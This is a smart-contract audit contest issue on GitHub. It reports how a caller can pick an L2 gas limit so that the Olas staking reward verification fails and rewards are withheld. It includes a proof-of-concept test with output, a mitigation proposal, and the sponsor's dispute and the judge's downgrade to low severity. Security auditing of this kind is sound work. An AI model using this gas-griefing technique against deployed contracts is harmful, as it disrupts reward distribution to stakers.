Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploiting gas limit manipulation in staking incentive distribution on L2 #48

Open
howlbot-integration bot opened this issue Jun 20, 2024 · 10 comments
Labels
3rd place bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue grade-a primary issue Highest quality submission among a set of duplicates Q-07 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_primary AI based primary recommendation 🤖_23_group AI based duplicate group recommendation sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue sufficient quality report This report is of sufficient quality

Comments

@howlbot-integration
Copy link

Lines of code

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L160

Vulnerability details

Impact

An attacker can provide specific amount of gas during claiming staking incentives, so that on L2, the distribution to the staking target would be unsuccessful and the OLAS amount will be held as withheldAmount.

Proof of Concept

During claiming the staking incentives, the parameter bridgePayload is provided by the user. The flow of function calls is as follows (assuming the bridging protocol is Optimism):

On L1:

Dispenser::claimStakingIncentives ==> Dispenser::_distributeStakingIncentives ==> DefaultDepositProcessorL1::sendMessage ==> OptimismTargetDispenserL2::_sendMessage
    function claimStakingIncentives(
        uint256 numClaimedEpochs,
        uint256 chainId,
        bytes32 stakingTarget,
        bytes memory bridgePayload
    ) external payable {
        //....
        _distributeStakingIncentives(chainId, stakingTarget, stakingIncentive, bridgePayload, transferAmount);
        //....
    }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L1041

    function _distributeStakingIncentives(
        uint256 chainId,
        bytes32 stakingTarget,
        uint256 stakingIncentive,
        bytes memory bridgePayload,
        uint256 transferAmount
    ) internal {
        //....
        if (chainId <= MAX_EVM_CHAIN_ID) {
            address stakingTargetEVM = address(uint160(uint256(stakingTarget)));
            IDepositProcessor(depositProcessor).sendMessage{value:msg.value}(stakingTargetEVM, stakingIncentive,
                bridgePayload, transferAmount);
        } else {
            // Send to non-EVM
            IDepositProcessor(depositProcessor).sendMessageNonEVM{value:msg.value}(stakingTarget,
                stakingIncentive, bridgePayload, transferAmount);
        }
    }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L423-L431

    function sendMessage(
        address target,
        uint256 stakingIncentive,
        bytes memory bridgePayload,
        uint256 transferAmount
    ) external virtual payable {
        //....
        uint256 sequence = _sendMessage(targets, stakingIncentives, bridgePayload, transferAmount);
        //...
    }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultDepositProcessorL1.sol#L150

    function _sendMessage(uint256 amount, bytes memory bridgePayload) internal override {
        //...
        (uint256 cost, uint256 gasLimitMessage) = abi.decode(bridgePayload, (uint256, uint256));

        if (gasLimitMessage < GAS_LIMIT) {
            gasLimitMessage = GAS_LIMIT;
        }

        if (gasLimitMessage > MAX_GAS_LIMIT) {
            gasLimitMessage = MAX_GAS_LIMIT;
        }

        IBridge(l2MessageRelayer).sendMessage{value: cost}(l1DepositProcessor, data, uint32(gasLimitMessage));
    }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/OptimismTargetDispenserL2.sol#L63

It shows that the amount of gas limit provided as parameter by the user will be forwarded to the destination contract on L2. Note that the minimum allowed value is 300_000.

uint256 public constant GAS_LIMIT = 300_000;

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L67

On L2, the flow of function calls is as follows:

On L2:

OptimismTargetDispenserL2::receiveMessage ==> DefaultTargetDispenserL2::_receiveMessage ==> DefaultTargetDispenserL2::_processData ==> StakingFactory::verifyInstanceAndGetEmissionsAmount
    function receiveMessage(bytes memory data) external payable {
        // Check for the target dispenser address
        address l1Processor = IBridge(l2MessageRelayer).xDomainMessageSender();

        // Process the data
        _receiveMessage(msg.sender, l1Processor, data);
    }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/OptimismTargetDispenserL2.sol#L96

    function _receiveMessage(
        address messageRelayer,
        address sourceProcessor,
        bytes memory data
    ) internal virtual {
        //....
        _processData(data);
    }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L242

    function _processData(bytes memory data) internal {
        //....
        bytes memory verifyData = abi.encodeCall(IStakingFactory.verifyInstanceAndGetEmissionsAmount, target);
        (bool success, bytes memory returnData) = stakingFactory.call(verifyData);
        //....
    }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L160

    function verifyInstanceAndGetEmissionsAmount(address instance) external view returns (uint256 amount) {
        // Verify the proxy instance
        bool success = verifyInstance(instance);

        if (success) {
            // Get the proxy instance emissions amount
            amount = IStaking(instance).emissionsAmount();

            // If there is a verifier, adjust the amount
            address localVerifier = verifier;
            if (localVerifier != address(0)) {
                // Get the max possible emissions amount
                uint256 maxEmissions = IStakingVerifier(localVerifier).getEmissionsAmountLimit(instance);
                // Limit excessive emissions amount
                if (amount > maxEmissions) {
                    amount = maxEmissions;
                }
            }
        }
    }

https://github.com/code-423n4/2024-05-olas/blob/main/registries/contracts/staking/StakingFactory.sol#L294

This shows that the amount of gas provided by the user (as input parameter on L1) will be forwarded to the function OptimismTargetDispenserL2::receiveMessage. Suppose that the remaining gas before calling the function StakingFactory::verifyInstanceAndGetEmissionsAmount (before line 161) is X.
https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L161

So, (63/64) * X will be forwarded to the StakingFactory.

If, the amount of gas used in StakingFactory::verifyInstanceAndGetEmissionsAmount is bigger than (63/64) * X, then the boolean success would be false and almost (1/64) * X would be left for execution of the remaining code.

(bool success, bytes memory returnData) = stakingFactory.call(verifyData);

Running a simple test shows that the amount of gas usage from line 162 to 213 if success = false would be around 14_000. This amount of gas is calculated in case the two storage variables stakingBatchNonce and withheldAmount are nonzero already (for sure changing their state from zero to nonzero would consume more gas).

Moreover, the amount of gas consumed during StakingFactory::verifyInstanceAndGetEmissionsAmount is unknown because it externally calls the instance that it can have customized implementation.

This provides an opportunity for an attacker to force the distribution to the staking targets (that are heavy gas consumer during the verification) to be unsuccessful, so always the transferred OLAS amount would be held in DefaultTargetDispenserL2 as withheldAmount. The attack is as follows:

  • The attacker notices that the verification on staking target consumes more than 63 * 14_000 = 882_000 gas. So, the attacker calls the function claimStakingIncentives with parameter bridgePayload equal to:
gasLimitMessage = 1500 + 64 * 14_000 = 897_500
bridgePayload = abi.encode(cost, gasLimitMessage);

Where 1500 is the required gas until line 161.
https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L161

  • By doing so, the amount of gas left befor calling StakingFactory::verifyInstanceAndGetEmissionsAmount at line 161 would be almost equal to X = 64 * 14_000.
  • During the call, (63/64) * X = 882_000 would be forwarded to the StakingFactory. If the amount of gas consumed there is more than that, then the low-level call would be unsuccessful, and success = false. Thus, limitAmount = 0, and the OLAS amount would not be transferred to the target, and it would be held as withholdAmount.
           uint256 limitAmount;
           // If the function call was successful, check the return value
           if (success && returnData.length == 32) {
               limitAmount = abi.decode(returnData, (uint256));
           }

           // If the limit amount is zero, withhold OLAS amount and continue
           if (limitAmount == 0) {
               // Withhold OLAS for further usage
               localWithheldAmount += amount;
               emit AmountWithheld(target, amount);

               // Proceed to the next target
               continue;
           }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L163-L177

  • Then, (1/64) * X = 14_000 would be left for the rest of the code, which is enough to be executed properly.

In summary, the attacker by watching the required gas for verification of a staking target can set the gas limit to a value, so that the staking incentives distribution would be unsuccessful, and the OLAS token amount would be held as withheldAmount.

Test Case

In the following test case:

  • First, a message is sent to L2 with funds for a wrong address. By doing so, the withheldAmount and stakingBatchNonce increases to 100 and 1, respectively. This is not part of the attack scenario, it is just to make those storage variables nonzero (to make the scenario more simple and realistic).
  • Then, a message is sent on L2 with funds for a correct address of staking target while the provided gas limit is 900_000. Because, the attacker notices that the verification of this instance consumes more than (900_000 - 1500) * (63/64). By doing so, on L2, the distribution would be unsuccessful, and the transferred OLAS would be held in the withheldAmount. Note that, if the attacker provides 1_100_000 gas, it would distribute the OLAS amount successfully success = true.
  • The result shows that the withheldAmount is increased from 100 to 200 meaning that sending the message with 900_000 gas leads to the situation that the OLAS token transfer to the staking target is unsuccessful, and it is indeed added to withheldAmount.
  • Note that to run the test properly two modifications are needed in mock contracts.

The function sendMessage in the contract BridgeRelayer should be modified as follows.

    function sendMessage(
      address target,
      bytes calldata message,
      uint32 gasLimit
  ) external payable {
      sender = msg.sender;
      (bool success, ) = target.call{gas: gasLimit}(message);

      if (!success) {
          revert("");
      }
  }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/test/BridgeRelayer.sol#L286

The function verifyInstanceAndGetEmissionsAmount in the contract MockStakingFactory should be modified as follows to emulate a case where the verification consumes high gas.

    function verifyInstanceAndGetEmissionsAmount(
      address instance
  ) external view returns (uint256 amount) {
      // This is to emulate the case that verification consumes 900_000 gas
      // If instance is zero, the if-clause does not execute. Instance zero is just to make the withheldAmount nonzero
      if (instance != address(0)) {
          uint gasUsedDuringVerification = 900_000;
          uint intialGas = gasleft();
          uint gasUsed;
          while (gasUsed < gasUsedDuringVerification) {
              gasUsed = intialGas - gasleft();
          }
      }

      // Verify the proxy instance
      bool success = verifyInstance(instance);

      if (success) {
          // Get the proxy instance emissions amount
          amount = 100 ether;
      }
  }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/test/MockStakingFactory.sol#L39

        it("Attacker forces a distribution to be unsuccessful", async function () {
           // Encode the staking data to emulate it being received on L2
           const stakingTarget = stakingInstance.address;
           const stakingIncentive = defaultAmount;

           ///////////////// This section is done to have withheldAmount and stakingBatchNonce nonzero
           // This is not part of the attack, just to make it more simpler and realistic
           // Because changing their state from nonzero to nonzero is cheaper than zero to nonzero
           let bridgePayload = ethers.utils.defaultAbiCoder.encode(["uint256", "uint256"],
               [defaultCost, defaultGasLimit]);
           // Send a message on L2 with funds for a wrong address to change the withheld amount from zero to nonzero
           await dispenser.mintAndSend(optimismDepositProcessorL1.address, ethers.constants.AddressZero, stakingIncentive, bridgePayload,
               stakingIncentive, { value: defaultMsgValue });
           /////////////////////////////////////////////////////////////////////////////////


           console.log("withheldAmount before the attack: ", await optimismTargetDispenserL2.withheldAmount());
           console.log("nonce before the attack: ", await optimismTargetDispenserL2.stakingBatchNonce());

           ////////////// Attacker sets the gaslimit equal to 900_000
           bridgePayload = ethers.utils.defaultAbiCoder.encode(["uint256", "uint256"],
               [defaultCost, 900000]);

           await dispenser.mintAndSend(optimismDepositProcessorL1.address, stakingTarget, stakingIncentive, bridgePayload,
               stakingIncentive, { value: defaultMsgValue });


           console.log("withheldAmount after the attack: ", await optimismTargetDispenserL2.withheldAmount());
           console.log("nonce after the attack: ", await optimismTargetDispenserL2.stakingBatchNonce());
       });

The result is:

  StakingBridging
   Optimism
withheldAmount before the attack:  BigNumber { value: "100" }
nonce before the attack:  BigNumber { value: "1" }
withheldAmount after the attack:  BigNumber { value: "200" }
nonce after the attack:  BigNumber { value: "2" }
     ✓ Attacker forces a distribution to be unsuccessful

Tools Used

Recommended Mitigation Steps

It is recommended that when StakingFactory::verifyInstanceAndGetEmissionsAmount is called, in case of failure, it checks the gas forwarded was enough or not. If it was not enough, then it should revert and the message should be retried on L2 again.

    function _processData(bytes memory data) internal {
        //....
        uint initialGas = gasLeft();

        bytes memory verifyData = abi.encodeCall(IStakingFactory.verifyInstanceAndGetEmissionsAmount, target);
        (bool success, bytes memory returnData) = stakingFactory.call(verifyData);

        uint afterGas = gasLeft();

        if(!success){
            if(afterGas <= (initialGas / 64)){
                revert("the provided gas was not enough");
            }
        }
        //....
    }

https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/staking/DefaultTargetDispenserL2.sol#L160

Assessed type

Context

@howlbot-integration howlbot-integration bot added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value 🤖_23_group AI based duplicate group recommendation 🤖_primary AI based primary recommendation bug Something isn't working primary issue Highest quality submission among a set of duplicates sufficient quality report This report is of sufficient quality labels Jun 20, 2024
howlbot-integration bot added a commit that referenced this issue Jun 20, 2024
@kupermind
Copy link

We cannot revert on the side of L2 since this has an immediate loss of data effect. That's why we do the call instead of a regular high level interface call. Hence, for us there is no difference if the verification function has failed due to the lack of gas or not.

Since cross-chain bridging interaction depends on off-chain computation for some networks, we have to accept that even without attacks there could be scenarios of wrongly supplied bridging parameters (if things are done outside of our SDK usage).

However, there is a processDataMaintenance() function that is DAO-governed and can re-initiate lost or incorrectly interrupted _processData() function calls. There is no 100% solution in such a sensitive cross-chain domain. Thus, the processDataMaintenance() works as a stable arbitrage solution.

@c4-sponsor
Copy link

kupermind (sponsor) disputed

@c4-sponsor c4-sponsor added the sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue label Jun 26, 2024
@0xA5DF
Copy link

0xA5DF commented Jun 28, 2024

Hey @kupermind
A few questions:

We cannot revert on the side of L2 since this has an immediate loss of data effect. That's why we do the call instead of a regular high level interface call. Hence, for us there is no difference if the verification function has failed due to the lack of gas or not.

  1. In case it reverts due to out of gas error, can't you just save the data to be retried later?
  2. In case that verifyInstanceAndGetEmissionsAmount() indeed requires that amount of gas, are you ok with a situation where (almost) every message is being DoS-ed like this and requires manual intervention?
  3. I'm trying to assess how likely is verifyInstanceAndGetEmissionsAmount() to consume so much gas (more than 882K gas units), do you have any input regarding that?

@kupermind
Copy link

kupermind commented Jun 28, 2024

  1. Correct, and we can use DAO-controlled processDataMaintenance() function.
  2. We don't expect this to happen just because of point 1. What is the point if your inflation is not going to be re-distributed between other parties anyway, and is under full control of the DAO if the delivery fails to re-deliver it.
  3. For now it's 65k gas at most, and following recommendations in a couple of issues we'll add a check for two more variables, making it to the total of maximum of 100k gas for the verification function.

We have done tests such that there is no excessive gas spending on L1 side. This turned out to have at most 11 staking contracts sent from L1 to L2. This is a relatively small amount of contracts to perform checks on, and we always have enough gas on L2.

@0xA5DF
Copy link

0xA5DF commented Jun 28, 2024

Got it, given that the likelihood of the function requiring so much gas and the impact not being very high, I'm marking this as low

@c4-judge c4-judge added downgraded by judge Judge downgraded the risk level of this issue QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value labels Jun 28, 2024
@c4-judge
Copy link
Contributor

0xA5DF changed the severity to QA (Quality Assurance)

@0xA5DF
Copy link

0xA5DF commented Jun 30, 2024

+1 low from #50
+1 low from #67

@c4-judge
Copy link
Contributor

c4-judge commented Jul 2, 2024

0xA5DF marked the issue as grade-b

@c4-judge
Copy link
Contributor

c4-judge commented Jul 2, 2024

0xA5DF marked the issue as grade-a

@thebrittfactor
Copy link

For awarding purposes, C4 staff have marked as 3rd place.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3rd place bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue grade-a primary issue Highest quality submission among a set of duplicates Q-07 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_primary AI based primary recommendation 🤖_23_group AI based duplicate group recommendation sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

6 participants